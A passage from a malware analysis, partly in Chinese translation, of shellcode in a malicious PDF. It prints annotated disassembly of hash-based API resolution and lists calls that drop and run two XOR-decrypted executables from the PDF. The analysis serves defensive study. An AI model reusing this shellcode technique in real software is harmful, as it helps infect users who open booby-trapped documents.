; create data on stack (284 bytes)
00000004 81EC20010000 sub esp,288
0000000A 8BFC mov edi,esp
0000000C 83C704 add edi,4 ; edi is a pointer to the new allocated data
; call the code following this instruction
00000069 E997020000 jmp dword Execute_Function
..
Execute_Function:
00000305 E864FDFFFF call Execute_Shellcode
; just for obfuscation, this will never return
可以看到函数的hash值被存放在堆栈中,然后是一个用来迷惑大家的Call(译者:正如上面所说"this will never return")。Jump指令跳转到调用它下面代码的Call。所以你可以去掉jump和call指令,效果还是一样的。Execute_Shellcode过程一开始代码就开始解析hash值并获取对应函数的地址:
Execute_Shellcode:
; Arguments:
; edi = pointer to the data/code stored on stack
0000006E 64A130000000 mov eax,[fs:0x30]
; get a pointer to the Process Environment Block
00000074 8B400C mov eax,[eax+12]
; get a pointer to PEB_LDR_DATA structure
00000077 8B701C mov esi,[eax+28]
; -> PEB_LDR_DATA.InInitializationOrderModuleList.LDR_DATA_TABLE_ENTRY
/LDR_MODULE (UNDOCUMENTED)
0000007A AD lodsd
; double linked list, Forward link, to LDR_DATA_TABLE_ENTRY / LDR_MODULE structure (UNDOCUMENTED)
0000007B 8B6808 mov ebp,[eax+8]
; DllBase (Module Base Address) (UNDOCUMENTED)
; resolve the 13 function hashes
0000007E 8BF7 mov esi,edi
; esi points to the first hash to resolve
00000080 6A0D push byte 13
; loop 13 times
00000082 59 pop ecx
; ecx is counter
Resolve_Hashes:
00000083 E838020000 call dword ResolveImportsByHashes
00000088 E2F9 loop Resolve_Hashes
ResolveImportsByHashes:
; resolves function hashes
; ebp = Module Address
; edi = pointer to hash to resolve and exchange with functions address
; store register contents
000002C0 51 push ecx
000002C1 56 push esi
000002CB 56 push esi
; store address of Export Directory Table
000002CC 8B7620 mov esi,[esi+0x20]
; Name Pointer RVA (list of all functions)
000002CF 03F5 add esi,ebp
; (absolute address)
000002D1 33C9 xor ecx,ecx
000002D3 49 dec ecx
; ecx is name counter
Function_Name_loop:
000002D4 41 inc ecx
; -> next function name
000002D5 AD lodsd
; get the address of the function name
000002D6 03C5 add eax,ebp
; (absolute address)
000002D8 33DB xor ebx,ebx
; reset next hash to generate
Generate_Hash_of_Function_Name:
000002DA 0FBE10 movsx edx,byte [eax]
; load next character
000002DD 3AD6 cmp dl,dh
; zero terminator?
000002DF 7408 jz Generated_Hash
000002E1 C1CB07 ror ebx,7
; => this is hash generating algorithm hash += char >> 7
000002E4 03DA add ebx,edx
; (add the shifted character to generating hash)
000002E6 40 inc eax
; -> next character
000002E7 EBF1 jmp short Generate_Hash_of_Function_Name
Generated_Hash:
000002E9 3B1F cmp ebx,[edi]
; matches the input hash with generated one?
000002EB 75E7 jnz Function_Name_loop
; if not compare against next function
000002ED 5E pop esi
; restore address of Export Directory Table
000002EE 8B5E24 mov ebx,[esi+0x24]
; Ordinal Table
000002F1 03DD add ebx,ebp
; (absolute address)
000002F3 668B0C4B mov cx,[ebx+ecx*2]
; look up the function in the Ordinal Table to get the ordinal number
000002F7 8B5E1C mov ebx,[esi+0x1c]
; Export Address Table
000002FA 03DD add ebx,ebp
; (absolute address)
000002FC 8B048B mov eax,[ebx+ecx*4]
; -> look up the Address of the function (ordinal number in EAT)
000002FF 03C5 add eax,ebp
; (absolute address)
00000301 AB stosd
; overwrite the input hash with the address
; restore register contents
00000302 5E pop esi
00000303 59 pop ecx
00000304 C3 ret
ResolveImportsByHashes函数非常典型,几乎是每一个漏洞利用文件中必有的一部分。将其与Sinowal进行对比。像其它解析函数地址的函数一样,这个函数使用ror 7来生成hash值(非常典型),其余的代码没有什么特别之处,仅仅是标准的API调用。与对Sinowal的分析一样,我不想花太多时间在这些代码上。下面是API调用的列表:
Kernel32!GetFileSize(FileHandle +4, NULL);
done in a loop, in order to get the size of every file and compare it with fixed PDF file size
to get the file handle of the pdf file
Kernel32!GetTempPathA(Stack Buffer, 256 bytes);
returns temp path, where the 2 executables will be stored to
appending "\SVCHOST.EXE" to the temp path
Kernel32!CreateFileA("C:\Windows\Temp\SVCHOST.EXE", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
creates the first file in the temp path
Kernel32!SetFilePointer(PDF File Handle, File Position = where the string is, NULL, FILE_BEGIN);
sets file pointer in PDF file to a special configuration block
Kernel32!SetFilePointer(PDF File Handle, File Position, NULL, FILE_BEGIN);
sets the file pointer to the position of the to-extract file in the PDF file, received from the configuration block
Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL);
Kernel32!WriteFile(PDF File Handle, Read File Buffer, 1024 Bytes, &NumberOfBytesWritten, NULL);
both done in a loop to read the whole first file
directly after read the file (buffer) will be decrypted with xor 97h
Kernel32!CloseHandle(Created File);
Kernel32!WinExec(Created File Name, 0);
the malware will be executed
strcat(Temp Path, "\temp.exe");
second files name is temp.exe
Kernel32!CreateFileA(Second File Name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
also created in the temp directory
Kernel32!SetFilePointer(PDF File Handle, File Position = somewhere in the file, NULL, FILE_BEGIN);
at this time the file position is hard wired coded
Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL);
Kernel32!WriteFile(PDF File Handle, Read File Buffer, 1024 Bytes, &NumberOfBytesWritten, NULL);
again both done in a loop to read the whole second file
directly after read the file (buffer) will be decrypted with at this time xor A0h
Kernel32!SetFilePointer(Created File Handle, File Position = 9000h, NULL, FILE_BEGIN);
the file pointer of the second file will be moved to that position
Kernel32!WriteFile(PDF File Handle, previously read configuration buffer, 40 Bytes, &NumberOfBytesWritten, NULL);
and the configuration block written
Kernel32!CloseHandle(Created File);
Kernel32!WinExec(Created Second File Name, 0);
also this file will be executed
Kernel32!CloseHandle(Created File);
** programming error with this call making the process crashing
Kernel32!TerminateProcess(Current Process, Exit Code = 0);
will never be executed but should smoothly terminate Adobe Reader